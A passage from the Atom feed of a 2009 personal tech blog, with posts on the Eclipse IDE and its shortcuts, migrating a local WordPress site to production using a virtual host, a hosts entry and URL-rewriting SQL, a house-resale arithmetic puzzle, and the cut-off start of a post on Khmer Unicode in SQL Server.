&lt;a href="http://feedads.g.doubleclick.net/~a/Bts7NzAXlmqXej2dZB2ESHPPwhM/1/da"&gt;&lt;img src="http://feedads.g.doubleclick.net/~a/Bts7NzAXlmqXej2dZB2ESHPPwhM/1/di" border="0" ismap="true"&gt;&lt;/img&gt;&lt;/a&gt;&lt;/p&gt;&lt;img src="http://feeds.feedburner.com/~r/blogspot/SNBL/~4/btfRLwnuWgs" height="1" width="1"/&gt;</content><link rel="replies" type="application/atom+xml" href="http://computer-experience.blogspot.com/feeds/1338035374487678070/comments/default" title="Post Comments" /><link rel="replies" type="text/html" href="http://computer-experience.blogspot.com/2009/09/jibx-xml-loading-digester-which-one-is.html#comment-form" title="1 Comments" /><link rel="edit" type="application/atom+xml" href="http://www.blogger.com/feeds/604585202851795693/posts/default/1338035374487678070?v=2" /><link rel="self" type="application/atom+xml" href="http://www.blogger.com/feeds/604585202851795693/posts/default/1338035374487678070?v=2" /><link rel="alternate" type="text/html" href="http://feedproxy.google.com/~r/blogspot/SNBL/~3/btfRLwnuWgs/jibx-xml-loading-digester-which-one-is.html" title="Jibx XML loading &amp; Digester, which one is more flexible?" /><author><name>MTR</name><uri>http://www.blogger.com/profile/13411144533412664851</uri><email>noreply@blogger.com</email><gd:image rel="http://schemas.google.com/g/2005#thumbnail" width="16" height="16" src="http://img2.blogblog.com/img/b16-rounded.gif" /></author><thr:total>1</thr:total><feedburner:origLink>http://computer-experience.blogspot.com/2009/09/jibx-xml-loading-digester-which-one-is.html</feedburner:origLink></entry><entry gd:etag="W/&quot;Ck4DQX4yeip7ImA9WxNSFEs.&quot;"><id>tag:blogger.com,1999:blog-604585202851795693.post-2050946863060268154</id><published>2009-08-28T04:38:00.000-07:00</published><updated>2009-08-28T05:02:50.092-07:00</updated><app:edited xmlns:app="http://www.w3.org/2007/app">2009-08-28T05:02:50.092-07:00</app:edited><category scheme="http://www.blogger.com/atom/ns#" term="PHP" /><category scheme="http://www.blogger.com/atom/ns#" term="Java" /><category scheme="http://www.blogger.com/atom/ns#" term="Eclipse" /><category scheme="http://www.blogger.com/atom/ns#" term="C/C++" /><title>In brief about Eclipse IDE</title><content type="html">&lt;p&gt;&lt;span style="font-size:100%;"&gt;&lt;span lang="en-US"&gt;&lt;b&gt;Eclipse&lt;/b&gt;&lt;/span&gt;&lt;/span&gt; &lt;span style="font-size:100%;"&gt;&lt;span lang="en-US"&gt;is a multi-language &lt;a href="http://en.wikipedia.org/wiki/Software_development_environment"&gt;software development environment&lt;/a&gt; comprising an &lt;a href="http://en.wikipedia.org/wiki/Integrated_development_environment"&gt;IDE&lt;/a&gt; and a &lt;a href="http://en.wikipedia.org/wiki/Plug-in_%28computing%29"&gt;plug-in&lt;/a&gt; system to extend it. It is written primarily in &lt;a href="http://en.wikipedia.org/wiki/Java_%28programming_language%29"&gt;Java&lt;/a&gt; and can be used to develop applications in Java and, by means of the various plug-ins, in other &lt;a href="http://en.wikipedia.org/wiki/Programming_language"&gt;languages&lt;/a&gt; as well, including &lt;a href="http://en.wikipedia.org/wiki/C_%28programming_language%29"&gt;C&lt;/a&gt;, &lt;a href="http://en.wikipedia.org/wiki/C%2B%2B"&gt;C++&lt;/a&gt;, &lt;a href="http://en.wikipedia.org/wiki/COBOL"&gt;COBOL&lt;/a&gt;, &lt;a href="http://en.wikipedia.org/wiki/Python_%28programming_language%29"&gt;Python&lt;/a&gt;, &lt;a href="http://en.wikipedia.org/wiki/Perl"&gt;Perl&lt;/a&gt;, &lt;a href="http://en.wikipedia.org/wiki/PHP"&gt;PHP&lt;/a&gt;, and others.&lt;/span&gt;&lt;/span&gt;&lt;span style="font-family:Times New Roman;"&gt;&lt;span style="font-size:100%;"&gt;&lt;span lang="en-US"&gt;[1]&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;   &lt;p&gt;&lt;span style="font-size:100%;"&gt;&lt;span lang="en-US"&gt;&lt;b&gt;Website&lt;/b&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="font-size:100%;"&gt;&lt;span lang="en-US"&gt;: &lt;a href="http://www.eclipse.org/"&gt;http://www.eclipse.org/&lt;/a&gt;&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;span style="font-size:100%;"&gt;&lt;span lang="en-US"&gt;&lt;b&gt;Download&lt;/b&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="font-size:100%;"&gt;&lt;span lang="en-US"&gt;: &lt;a href="http://www.eclipse.org/downloads/"&gt;http://www.eclipse.org/downloads/&lt;/a&gt;&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p&gt;&lt;span style="font-size:100%;"&gt;&lt;span lang="en-US"&gt;Current version: Galileo, 3.5: &lt;a href="http://wiki.eclipse.org/Galileo"&gt;http://wiki.eclipse.org/Galileo&lt;/a&gt;&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p lang="en-US"&gt;&lt;span style="font-size:100%;"&gt;&lt;b&gt;Eclipse IDE is suitable with:&lt;/b&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p style="margin-left: 0.5in; text-indent: -0.25in;"&gt;&lt;span style="font-size:100%;"&gt;&lt;span lang="en-US"&gt;-&lt;/span&gt;&lt;/span&gt;&lt;span style="font-size:100%;"&gt;&lt;span lang="en-US"&gt;         &lt;/span&gt;&lt;/span&gt;&lt;span style="font-size:100%;"&gt;&lt;span lang="en-US"&gt;J2EE Development (To use &lt;/span&gt;&lt;/span&gt;&lt;a href="http://www.eclipse.org/downloads/packages/eclipse-ide-java-ee-developers/galileor"&gt;&lt;span style="font-size:100%;"&gt;&lt;span lang="en-US"&gt;&lt;b&gt;Eclipse IDE for Java EE Developers&lt;/b&gt;&lt;/span&gt;&lt;/span&gt;&lt;/a&gt;&lt;span style="font-size:100%;"&gt;&lt;span lang="en-US"&gt;)&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;&lt;p style="margin-left: 0.5in; text-indent: -0.25in;"&gt;&lt;span style="font-size:100%;"&gt;&lt;span lang="en-US"&gt;-&lt;/span&gt;&lt;/span&gt;&lt;span style="font-size:100%;"&gt;&lt;span lang="en-US"&gt;         &lt;/span&gt;&lt;/span&gt;&lt;span style="font-size:100%;"&gt;&lt;span lang="en-US"&gt;Java Development (To use &lt;/span&gt;&lt;/span&gt;&lt;a href="http://www.eclipse.org/downloads/packages/eclipse-ide-java-developers/galileor"&gt;&lt;span style="font-size:100%;"&gt;&lt;span lang="en-US"&gt;&lt;b&gt;Eclipse IDE for Java Developer&lt;/b&gt;&lt;/span&gt;&lt;/span&gt;&lt;/a&gt;&lt;span style="font-size:100%;"&gt;&lt;span lang="en-US"&gt;)&lt;/span&gt;&lt;/span&gt;&lt;/p&gt; &lt;p style="margin-left: 0.5in; text-indent: -0.25in;"&gt;&lt;span style="font-size:100%;"&gt;&lt;span lang="en-US"&gt;-&lt;/span&gt;&lt;/span&gt;&lt;span style="font-size:100%;"&gt;&lt;span lang="en-US"&gt;         &lt;/span&gt;&lt;/span&gt;&lt;span style="font-size:100%;"&gt;&lt;span lang="en-US"&gt;PHP Development (To use &lt;/span&gt;&lt;/span&gt;&lt;a href="http://www.eclipse.org/downloads/packages/eclipse-php-developers/galileor"&gt;&lt;span style="font-size:100%;"&gt;&lt;span lang="en-US"&gt;&lt;b&gt;Eclipse IDE for PHP Development&lt;/b&gt;&lt;/span&gt;&lt;/span&gt;&lt;/a&gt;&lt;span style="font-size:100%;"&gt;&lt;span lang="en-US"&gt;)&lt;/span&gt;&lt;/span&gt;&lt;/p&gt; &lt;p style="margin-left: 0.5in; text-indent: -0.25in;"&gt;&lt;span style="font-size:100%;"&gt;&lt;span lang="en-US"&gt;-&lt;/span&gt;&lt;/span&gt;&lt;span style="font-size:100%;"&gt;&lt;span lang="en-US"&gt;         &lt;/span&gt;&lt;/span&gt;&lt;span style="font-size:100%;"&gt;&lt;span lang="en-US"&gt;C/C++ Development (To use &lt;/span&gt;&lt;/span&gt;&lt;a href="http://www.eclipse.org/downloads/packages/eclipse-ide-cc-developers/galileor"&gt;&lt;span style="font-size:100%;"&gt;&lt;span lang="en-US"&gt;&lt;b&gt;Eclipse IDE for C/C++ Development&lt;/b&gt;&lt;/span&gt;&lt;/span&gt;&lt;/a&gt;&lt;span style="font-size:100%;"&gt;&lt;span lang="en-US"&gt;)&lt;/span&gt;&lt;/span&gt;&lt;/p&gt; &lt;p style="margin-left: 0.5in; text-indent: -0.25in;"&gt;&lt;span style="font-size:100%;"&gt;&lt;span lang="en-US"&gt;-&lt;/span&gt;&lt;/span&gt;&lt;span style="font-size:100%;"&gt;&lt;span lang="en-US"&gt;         &lt;/span&gt;&lt;/span&gt;&lt;span style="font-size:100%;"&gt;&lt;span lang="en-US"&gt;Etc.&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p lang="en-US"&gt;&lt;span style="font-size:100%;"&gt;&lt;b&gt;Installation/To start:&lt;/b&gt;&lt;/span&gt;&lt;/p&gt; &lt;p style="margin-left: 0.5in; text-indent: -0.25in;"&gt;&lt;span style="font-size:100%;"&gt;&lt;span lang="en-US"&gt;-&lt;/span&gt;&lt;/span&gt;&lt;span style="font-size:100%;"&gt;&lt;span lang="en-US"&gt;         &lt;/span&gt;&lt;/span&gt;&lt;span style="font-size:100%;"&gt;&lt;span lang="en-US"&gt;Jdk requires to install before install Eclipse, in new version of Eclipse 3.5 requires at least jdk 1.5&lt;/span&gt;&lt;/span&gt;&lt;/p&gt; &lt;p style="margin-left: 0.5in; text-indent: -0.25in;"&gt;&lt;span style="font-size:100%;"&gt;&lt;span lang="en-US"&gt;-&lt;/span&gt;&lt;/span&gt;&lt;span style="font-size:100%;"&gt;&lt;span lang="en-US"&gt;         &lt;/span&gt;&lt;/span&gt;&lt;span style="font-size:100%;"&gt;&lt;span lang="en-US"&gt;Just extract the eclipse and copy to some where in your PC&lt;/span&gt;&lt;/span&gt;&lt;/p&gt; &lt;p style="margin-left: 0.5in; text-indent: -0.25in;"&gt;&lt;span style="font-size:100%;"&gt;&lt;span lang="en-US"&gt;-&lt;/span&gt;&lt;/span&gt;&lt;span style="font-size:100%;"&gt;&lt;span lang="en-US"&gt;         &lt;/span&gt;&lt;/span&gt;&lt;span style="font-size:100%;"&gt;&lt;span lang="en-US"&gt;Point to your &lt;/span&gt;&lt;/span&gt;&lt;span style="font-size:100%;"&gt;&lt;span lang="en-US"&gt;&lt;b&gt;workspace&lt;/b&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="font-size:100%;"&gt;&lt;span lang="en-US"&gt;, &lt;/span&gt;&lt;/span&gt;&lt;span style="font-size:100%;"&gt;&lt;span lang="en-US"&gt;&lt;b&gt;create project&lt;/b&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="font-size:100%;"&gt;&lt;span lang="en-US"&gt; and develop your application as well.&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p&gt;&lt;span style="font-size:100%;"&gt;&lt;span lang="en-US"&gt;&lt;b&gt;Screenshot: &lt;/b&gt;&lt;/span&gt;&lt;/span&gt;&lt;span lang="en-US"&gt;&lt;b&gt;(Other screens see: &lt;a href="http://www.eclipse.org/screenshots/"&gt;http://www.eclipse.org/screenshots/&lt;/a&gt;)&lt;/b&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p lang="en-US"&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://2.bp.blogspot.com/_X4hIsD6J-rE/SpfC6n42-yI/AAAAAAAAAOI/UXBKIK96ZEo/s1600-h/eclipse_workspace.JPG"&gt;&lt;img style="margin: 0px auto 10px; display: block; text-align: center; cursor: pointer; width: 400px; height: 261px;" src="http://2.bp.blogspot.com/_X4hIsD6J-rE/SpfC6n42-yI/AAAAAAAAAOI/UXBKIK96ZEo/s400/eclipse_workspace.JPG" alt="" id="BLOGGER_PHOTO_ID_5374978992685644578" border="0" /&gt;&lt;/a&gt;&lt;span style="font-size:100%;"&gt;&lt;b&gt;Easy ways/Shortcuts:&lt;/b&gt;&lt;/span&gt;&lt;/p&gt; &lt;p style="margin-left: 0.5in; text-indent: -0.25in;"&gt;&lt;span style="font-size:100%;"&gt;&lt;span lang="en-US"&gt;-&lt;/span&gt;&lt;/span&gt;&lt;span style="font-size:100%;"&gt;&lt;span lang="en-US"&gt;         &lt;/span&gt;&lt;/span&gt;&lt;span style="font-size:100%;"&gt;&lt;span lang="en-US"&gt;Wanna to go every where can start with shortcut: &lt;/span&gt;&lt;/span&gt;&lt;span style="font-size:100%;"&gt;&lt;span lang="en-US"&gt;&lt;b&gt;Ctrl + 3&lt;/b&gt;&lt;/span&gt;&lt;/span&gt;&lt;/p&gt; &lt;p style="margin-left: 0.5in; text-indent: -0.25in;"&gt;&lt;span style="font-size:100%;"&gt;&lt;span lang="en-US"&gt;-&lt;/span&gt;&lt;/span&gt;&lt;span style="font-size:100%;"&gt;&lt;span lang="en-US"&gt;         &lt;/span&gt;&lt;/span&gt;&lt;span style="font-size:100%;"&gt;&lt;span lang="en-US"&gt;To see all shortcut: &lt;/span&gt;&lt;/span&gt;&lt;span style="font-size:100%;"&gt;&lt;span lang="en-US"&gt;&lt;b&gt;Ctrl + Shift + L&lt;/b&gt;&lt;/span&gt;&lt;/span&gt;&lt;/p&gt; &lt;p style="margin-left: 0.5in; text-indent: -0.25in;"&gt;&lt;span style="font-size:100%;"&gt;&lt;span lang="en-US"&gt;-&lt;/span&gt;&lt;/span&gt;&lt;span style="font-size:100%;"&gt;&lt;span lang="en-US"&gt;         &lt;/span&gt;&lt;/span&gt;&lt;span style="font-size:100%;"&gt;&lt;span lang="en-US"&gt;Rename on variable/method to change all reference: &lt;/span&gt;&lt;/span&gt;&lt;span style="font-size:100%;"&gt;&lt;span lang="en-US"&gt;&lt;b&gt;Alt + Shift + R&lt;/b&gt;&lt;/span&gt;&lt;/span&gt;&lt;/p&gt; &lt;p style="margin-left: 0.5in; text-indent: -0.25in;"&gt;&lt;span style="font-size:100%;"&gt;&lt;span lang="en-US"&gt;-&lt;/span&gt;&lt;/span&gt;&lt;span style="font-size:100%;"&gt;&lt;span lang="en-US"&gt;         &lt;/span&gt;&lt;/span&gt;&lt;span style="font-size:100%;"&gt;&lt;span lang="en-US"&gt;Search any file: &lt;/span&gt;&lt;/span&gt;&lt;span style="font-size:100%;"&gt;&lt;span lang="en-US"&gt;&lt;b&gt;Ctrl + Shift + R&lt;/b&gt;&lt;/span&gt;&lt;/span&gt;&lt;/p&gt; &lt;p style="margin-left: 0.5in; text-indent: -0.25in;"&gt;&lt;span style="font-size:100%;"&gt;&lt;span lang="en-US"&gt;-&lt;/span&gt;&lt;/span&gt;&lt;span style="font-size:100%;"&gt;&lt;span lang="en-US"&gt;         &lt;/span&gt;&lt;/span&gt;&lt;span style="font-size:100%;"&gt;&lt;span lang="en-US"&gt;Go to line number: &lt;/span&gt;&lt;/span&gt;&lt;span style="font-size:100%;"&gt;&lt;span lang="en-US"&gt;&lt;b&gt;Ctrl + L&lt;/b&gt;&lt;/span&gt;&lt;/span&gt;&lt;/p&gt; &lt;p style="margin-left: 0.5in; text-indent: -0.25in;"&gt;&lt;span style="font-size:100%;"&gt;&lt;span lang="en-US"&gt;-&lt;/span&gt;&lt;/span&gt;&lt;span style="font-size:100%;"&gt;&lt;span lang="en-US"&gt;         &lt;/span&gt;&lt;/span&gt;&lt;span style="font-size:100%;"&gt;&lt;span lang="en-US"&gt;Create View Object (set / get methods): &lt;/span&gt;&lt;/span&gt;&lt;span style="font-size:100%;"&gt;&lt;span lang="en-US"&gt;&lt;b&gt;Alt + Shift + S&lt;/b&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="font-size:100%;"&gt;&lt;span lang="en-US"&gt; and choose: &lt;/span&gt;&lt;/span&gt;&lt;span style="font-size:100%;"&gt;&lt;span lang="en-US"&gt;&lt;b&gt;Generate Getters and Setters&lt;/b&gt;&lt;/span&gt;&lt;/span&gt;&lt;/p&gt; &lt;p style="margin-left: 0.5in; text-indent: -0.25in;"&gt;&lt;span style="font-size:100%;"&gt;&lt;span lang="en-US"&gt;-&lt;/span&gt;&lt;/span&gt;&lt;span style="font-size:100%;"&gt;&lt;span lang="en-US"&gt;         &lt;/span&gt;&lt;/span&gt;&lt;span style="font-size:100%;"&gt;&lt;span lang="en-US"&gt;Etc.&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;&lt;br /&gt;&lt;hr align="left"  width="257" style="font-size:78%;"&gt; &lt;p&gt;&lt;span style="font-family:Times New Roman;"&gt;&lt;span style="font-size:85%;"&gt;&lt;span lang="en-US"&gt;[1]&lt;/span&gt;&lt;/span&gt;&lt;/span&gt; &lt;span lang="en-US"&gt;See wiki: &lt;a href="http://en.wikipedia.org/wiki/Eclipse_%28software%29"&gt;http://en.wikipedia.org/wiki/Eclipse_(software)&lt;/a&gt;&lt;/span&gt;&lt;/p&gt; &lt;p&gt;&lt;/p&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/604585202851795693-2050946863060268154?l=computer-experience.blogspot.com' alt='' /&gt;&lt;/div&gt;
&lt;p&gt;&lt;a href="http://feedads.g.doubleclick.net/~a/MENkFkagDutLhYxhpI4eJ6g-iJk/0/da"&gt;&lt;img src="http://feedads.g.doubleclick.net/~a/MENkFkagDutLhYxhpI4eJ6g-iJk/0/di" border="0" ismap="true"&gt;&lt;/img&gt;&lt;/a&gt;&lt;br/&gt;
&lt;a href="http://feedads.g.doubleclick.net/~a/MENkFkagDutLhYxhpI4eJ6g-iJk/1/da"&gt;&lt;img src="http://feedads.g.doubleclick.net/~a/MENkFkagDutLhYxhpI4eJ6g-iJk/1/di" border="0" ismap="true"&gt;&lt;/img&gt;&lt;/a&gt;&lt;/p&gt;&lt;img src="http://feeds.feedburner.com/~r/blogspot/SNBL/~4/3f4avZ2V21Q" height="1" width="1"/&gt;</content><link rel="replies" type="application/atom+xml" href="http://computer-experience.blogspot.com/feeds/2050946863060268154/comments/default" title="Post Comments" /><link rel="replies" type="text/html" href="http://computer-experience.blogspot.com/2009/08/in-short-about-eclipse-ide.html#comment-form" title="0 Comments" /><link rel="edit" type="application/atom+xml" href="http://www.blogger.com/feeds/604585202851795693/posts/default/2050946863060268154?v=2" /><link rel="self" type="application/atom+xml" href="http://www.blogger.com/feeds/604585202851795693/posts/default/2050946863060268154?v=2" /><link rel="alternate" type="text/html" href="http://feedproxy.google.com/~r/blogspot/SNBL/~3/3f4avZ2V21Q/in-short-about-eclipse-ide.html" title="In brief about Eclipse IDE" /><author><name>MTR</name><uri>http://www.blogger.com/profile/13411144533412664851</uri><email>noreply@blogger.com</email><gd:image rel="http://schemas.google.com/g/2005#thumbnail" width="16" height="16" src="http://img2.blogblog.com/img/b16-rounded.gif" /></author><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="http://2.bp.blogspot.com/_X4hIsD6J-rE/SpfC6n42-yI/AAAAAAAAAOI/UXBKIK96ZEo/s72-c/eclipse_workspace.JPG" height="72" width="72" /><thr:total>0</thr:total><feedburner:origLink>http://computer-experience.blogspot.com/2009/08/in-short-about-eclipse-ide.html</feedburner:origLink></entry><entry gd:etag="W/&quot;CUYARX04eyp7ImA9WxNTFks.&quot;"><id>tag:blogger.com,1999:blog-604585202851795693.post-2267702744688503657</id><published>2009-08-18T04:52:00.000-07:00</published><updated>2009-08-18T23:25:44.333-07:00</updated><app:edited xmlns:app="http://www.w3.org/2007/app">2009-08-18T23:25:44.333-07:00</app:edited><category scheme="http://www.blogger.com/atom/ns#" term="PHP" /><category scheme="http://www.blogger.com/atom/ns#" term="Hosting" /><category scheme="http://www.blogger.com/atom/ns#" term="WordPress" /><title>[WordPress] Move integrated local wordpress to production server</title><content type="html">First I have read some post and I though it was right but when I followed I got same error such as executing timeout (&lt;b style="font-style: italic; color: rgb(255, 102, 102);"&gt;Fatal error&lt;/b&gt;&lt;span style="font-style: italic; color: rgb(255, 102, 102);"&gt;:  Maximum execution time of 30 seconds exceeded&lt;/span&gt;) when browse the website etc.&lt;br /&gt;&lt;br /&gt;I have prepared the wordpress blog with some modification of the theme; integrated and tested my wanted plugin; prepare all pages, navigation etc. I have named my local site as: &lt;span style="font-weight: bold;"&gt;www.defondyann.loc&lt;/span&gt; but when I move to the server for website: &lt;span style="font-weight: bold;"&gt;www.defondyann.com&lt;/span&gt; I got above error and can't browse the page or went to the admin as well.&lt;br /&gt;&lt;br /&gt;I tried as following post:&lt;br /&gt;&lt;ul&gt;&lt;li&gt;http://www.mydigitallife.info/2007/10/01/how-to-move-wordpress-blog-to-new-domain-or-location/&lt;/li&gt;&lt;li&gt;http://yoast.com/move-wordpress-blog-domain-10-steps/&lt;/li&gt;&lt;li&gt;http://codex.wordpress.org/Moving_WordPress&lt;/li&gt;&lt;/ul&gt;but not all worked for me so I took some points to do this way:&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;I. &lt;/span&gt;At my local server, I prepared the virtual host by naming as: &lt;span style="font-weight: bold;"&gt;www.defondyann.com&lt;/span&gt;I'm sure you guy know how to do virtual host in windows; any way, here it is:&lt;ul&gt;&lt;li&gt;apache2.2.6\conf\extra\httpd-vhosts.conf&lt;/li&gt;&lt;/ul&gt;&lt;pre&gt;&lt;code&gt;&lt;br /&gt;   ServerAdmin webmaster@defondyann.com&lt;br /&gt;   DocumentRoot "Z:/defondyann/wordpress"&lt;br /&gt;   ServerName defondyann.com&lt;br /&gt;   ServerAlias www.defondyann.com&lt;br /&gt;   ErrorLog "logs/defondyann.com-error_log"&lt;br /&gt;   CustomLog "logs/defondyann.com-common.log common" combined&lt;br /&gt;&lt;/code&gt;&lt;/pre&gt;&lt;ul&gt;&lt;li&gt;Change at C:\WINDOWS\system32\drivers\etc\hosts&lt;/li&gt;&lt;/ul&gt;&lt;blockquote&gt;127.0.0.1       www.defondyann.com&lt;/blockquote&gt;&lt;span style="font-weight: bold;"&gt;II.&lt;/span&gt; I browsed the website locally with: &lt;span style="font-weight: bold;"&gt;www.defondyann.com &lt;/span&gt;login to admin as normal&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;III.&lt;/span&gt; Modified upload directory configuration in /wp-admin/options-misc.php&lt;br /&gt;&lt;ul&gt;&lt;li&gt;To change upload directory to: wp-content/uploads&lt;/li&gt;&lt;/ul&gt;&lt;span style="font-weight: bold;"&gt;IV.&lt;/span&gt; Modified database, by execute update script via phpMyAdmin or any mysql client:&lt;br /&gt;&lt;br /&gt;&lt;pre&gt;&lt;code&gt;UPDATE wp_options SET option_value = replace(option_value, 'http://www.defondyann.loc', 'http://www.defondyann.com') WHERE option_name = 'home' OR option_name = 'siteurl';&lt;br /&gt;UPDATE wp_posts SET guid = replace(guid, 'http://www.defondyann.loc','http://www.defondyann.com');&lt;br /&gt;UPDATE wp_posts SET post_content = replace(post_content, 'http://www.defondyann.loc', 'http://www.defondyann.com');&lt;/code&gt;&lt;/pre&gt;&lt;br /&gt;It's working for me,&lt;br /&gt;Good luck,&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/604585202851795693-2267702744688503657?l=computer-experience.blogspot.com' alt='' /&gt;&lt;/div&gt;
&lt;p&gt;&lt;a href="http://feedads.g.doubleclick.net/~a/tJRhGPqaFhuolKOZaNsClRvrCrU/0/da"&gt;&lt;img src="http://feedads.g.doubleclick.net/~a/tJRhGPqaFhuolKOZaNsClRvrCrU/0/di" border="0" ismap="true"&gt;&lt;/img&gt;&lt;/a&gt;&lt;br/&gt;
&lt;a href="http://feedads.g.doubleclick.net/~a/tJRhGPqaFhuolKOZaNsClRvrCrU/1/da"&gt;&lt;img src="http://feedads.g.doubleclick.net/~a/tJRhGPqaFhuolKOZaNsClRvrCrU/1/di" border="0" ismap="true"&gt;&lt;/img&gt;&lt;/a&gt;&lt;/p&gt;&lt;img src="http://feeds.feedburner.com/~r/blogspot/SNBL/~4/m1xKs4gwHck" height="1" width="1"/&gt;</content><link rel="replies" type="application/atom+xml" href="http://computer-experience.blogspot.com/feeds/2267702744688503657/comments/default" title="Post Comments" /><link rel="replies" type="text/html" href="http://computer-experience.blogspot.com/2009/08/wordpress-move-local-wordpress.html#comment-form" title="0 Comments" /><link rel="edit" type="application/atom+xml" href="http://www.blogger.com/feeds/604585202851795693/posts/default/2267702744688503657?v=2" /><link rel="self" type="application/atom+xml" href="http://www.blogger.com/feeds/604585202851795693/posts/default/2267702744688503657?v=2" /><link rel="alternate" type="text/html" href="http://feedproxy.google.com/~r/blogspot/SNBL/~3/m1xKs4gwHck/wordpress-move-local-wordpress.html" title="[WordPress] Move integrated local wordpress to production server" /><author><name>MTR</name><uri>http://www.blogger.com/profile/13411144533412664851</uri><email>noreply@blogger.com</email><gd:image rel="http://schemas.google.com/g/2005#thumbnail" width="16" height="16" src="http://img2.blogblog.com/img/b16-rounded.gif" /></author><thr:total>0</thr:total><feedburner:origLink>http://computer-experience.blogspot.com/2009/08/wordpress-move-local-wordpress.html</feedburner:origLink></entry><entry gd:etag="W/&quot;CU4HQXY_eSp7ImA9WxJbFko.&quot;"><id>tag:blogger.com,1999:blog-604585202851795693.post-1110096010130925838</id><published>2009-07-26T22:43:00.000-07:00</published><updated>2009-07-26T22:52:10.841-07:00</updated><app:edited xmlns:app="http://www.w3.org/2007/app">2009-07-26T22:52:10.841-07:00</app:edited><category scheme="http://www.blogger.com/atom/ns#" term="Problam And Solution" /><category scheme="http://www.blogger.com/atom/ns#" term="Mathamatics" /><category scheme="http://www.blogger.com/atom/ns#" term="Accounting" /><title>[A Solution Game] A man bought a house</title><content type="html">Can anyone write the procedure how to solve this below problem?&lt;br /&gt;It seems we will have two answers according to the way of resolvers thinking can be thinking with Maths or with Business, please write down and share in the comment:&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;Problem:&lt;/span&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;======&lt;/span&gt;&lt;br /&gt;&lt;blockquote style="color: rgb(255, 0, 0);"&gt;"A person bought a house for &lt;span style="font-weight: bold;"&gt;$60,000&lt;/span&gt;. Soon thereafter they sold it for &lt;span style="font-weight: bold;"&gt;$70,000&lt;/span&gt;, upon moving out of town.&lt;br /&gt;A few month later, they were transftered back to town and purchased the same house for &lt;span style="font-weight: bold;"&gt;$80,000&lt;/span&gt;, then the person grew tired of the house and resold it for &lt;span style="font-weight: bold;"&gt;$90,000&lt;/span&gt;."&lt;br /&gt;&lt;br /&gt;Question: How much money did the person gain/lose (or break even) on the exchange? How you calculate this?&lt;br /&gt;&lt;/blockquote&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/604585202851795693-1110096010130925838?l=computer-experience.blogspot.com' alt='' /&gt;&lt;/div&gt;
&lt;p&gt;&lt;a href="http://feedads.g.doubleclick.net/~a/SaUjx5xGyWUBafh4gKETA-7GHgg/0/da"&gt;&lt;img src="http://feedads.g.doubleclick.net/~a/SaUjx5xGyWUBafh4gKETA-7GHgg/0/di" border="0" ismap="true"&gt;&lt;/img&gt;&lt;/a&gt;&lt;br/&gt;
&lt;a href="http://feedads.g.doubleclick.net/~a/SaUjx5xGyWUBafh4gKETA-7GHgg/1/da"&gt;&lt;img src="http://feedads.g.doubleclick.net/~a/SaUjx5xGyWUBafh4gKETA-7GHgg/1/di" border="0" ismap="true"&gt;&lt;/img&gt;&lt;/a&gt;&lt;/p&gt;&lt;img src="http://feeds.feedburner.com/~r/blogspot/SNBL/~4/Q8WOAQN9R00" height="1" width="1"/&gt;</content><link rel="replies" type="application/atom+xml" href="http://computer-experience.blogspot.com/feeds/1110096010130925838/comments/default" title="Post Comments" /><link rel="replies" type="text/html" href="http://computer-experience.blogspot.com/2009/07/solution-game-man-bought-house.html#comment-form" title="4 Comments" /><link rel="edit" type="application/atom+xml" href="http://www.blogger.com/feeds/604585202851795693/posts/default/1110096010130925838?v=2" /><link rel="self" type="application/atom+xml" href="http://www.blogger.com/feeds/604585202851795693/posts/default/1110096010130925838?v=2" /><link rel="alternate" type="text/html" href="http://feedproxy.google.com/~r/blogspot/SNBL/~3/Q8WOAQN9R00/solution-game-man-bought-house.html" title="[A Solution Game] A man bought a house" /><author><name>MTR</name><uri>http://www.blogger.com/profile/13411144533412664851</uri><email>noreply@blogger.com</email><gd:image rel="http://schemas.google.com/g/2005#thumbnail" width="16" height="16" src="http://img2.blogblog.com/img/b16-rounded.gif" /></author><thr:total>4</thr:total><feedburner:origLink>http://computer-experience.blogspot.com/2009/07/solution-game-man-bought-house.html</feedburner:origLink></entry><entry gd:etag="W/&quot;C0QFQ3g7cCp7ImA9WxJUFEU.&quot;"><id>tag:blogger.com,1999:blog-604585202851795693.post-7608855896322494355</id><published>2009-07-13T02:47:00.000-07:00</published><updated>2009-07-13T03:35:12.608-07:00</updated><app:edited xmlns:app="http://www.w3.org/2007/app">2009-07-13T03:35:12.608-07:00</app:edited><category scheme="http://www.blogger.com/atom/ns#" term="MS DotNet" /><category scheme="http://www.blogger.com/atom/ns#" term="Khmer Unicode" /><category scheme="http://www.blogger.com/atom/ns#" term="Encoding" /><category scheme="http://www.blogger.com/atom/ns#" term="Database" /><category scheme="http://www.blogger.com/atom/ns#" term="SQL Server" /><title>SQL Server with Unicode / Khmer Unicode characters</title><content type="html">To be notice MS SQL supports only UCS-2 encoding so do not have encoding with UTF-8 as we expected as MySQL or some other database server as well. This means that you can't use UTF-8 character encoding with Microsoft SQL Server:&lt;br /&gt;&lt;br /&gt;&lt;div style="text-align: center;"&gt;Here after I type Khmer Unicode and execute the query, I got question marks instead of 